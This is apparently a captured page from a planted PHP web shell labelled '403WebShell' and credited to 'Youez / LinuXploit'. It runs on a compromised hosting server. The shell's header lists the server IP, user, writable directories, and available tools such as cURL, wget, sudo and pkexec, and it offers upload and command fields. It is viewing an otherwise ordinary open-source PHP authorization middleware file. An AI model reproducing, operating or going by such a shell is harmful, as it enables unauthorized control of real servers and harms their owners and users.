Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/iscmbt-kufa-atu/quarantine/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/iscmbt-kufa-atu/quarantine/ApiAuthorizationMiddleware.php
<?php

/**
 * @file classes/security/authorization/internal/ApiAuthorizationMiddleware.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class ApiAuthorizationMiddleware
 *
 * @ingroup security_authorization
 *
 * @brief Slim middleware which enforces authorization policies
 */

namespace PKP\security\authorization\internal;

use PKP\core\APIResponse;
use PKP\core\JSONMessage;
use PKP\handler\APIHandler;
use Slim\Http\Request as SlimRequest;

class ApiAuthorizationMiddleware
{
    /** @var APIHandler $handler Reference to api handler */
    protected $_handler = null;

    /**
     * Constructor
     *
     */
    public function __construct(APIHandler $handler)
    {
        $this->_handler = $handler;
    }

    /**
     * Handles authorization
     *
     * @param SlimRequest $slimRequest
     *
     * @return bool|string
     */
    protected function _authorize($slimRequest)
    {
        // share SlimRequest with Handler
        $this->_handler->setSlimRequest($slimRequest);
        $request = $this->_handler->getRequest();
        $args = [$slimRequest];
        if (!$slimRequest->getAttribute('route')) {
            return $request->getRouter()->handleAuthorizationFailure($request, 'api.404.endpointNotFound');
        } elseif ($this->_handler->authorize($request, $args, $this->_handler->getRoleAssignments())) {
            $this->_handler->validate(null, $request);
            $this->_handler->initialize($request);
            return true;
        } else {
            $authorizationMessage = $this->_handler->getLastAuthorizationMessage();
            if ($authorizationMessage == '') {
                $authorizationMessage = 'api.403.unauthorized';
            }
            $router = $request->getRouter();
            $result = $router->handleAuthorizationFailure($request, $authorizationMessage);
            switch (1) {
                case is_string($result): return $result;
                case $result instanceof JSONMessage: return $result->getString();
                default:
                    assert(false);
                    return null;
            }
        }
    }

    /**
     * Middleware invokable function
     *
     * @param SlimRequest $request request
     * @param APIResponse $response response
     * @param callable $next Next middleware
     *
     * @return bool|string|APIResponse
     */
    public function __invoke($request, $response, $next)
    {
        $result = $this->_authorize($request);
        if ($result !== true) {
            return $result;
        }

        $response = $next($request, $response);
        return $response;
    }
}

if (!PKP_STRICT_MODE) {
    class_alias('\PKP\security\authorization\internal\ApiAuthorizationMiddleware', '\ApiAuthorizationMiddleware');
}

Youez - 2016 - github.com/yon3zu
LinuXploit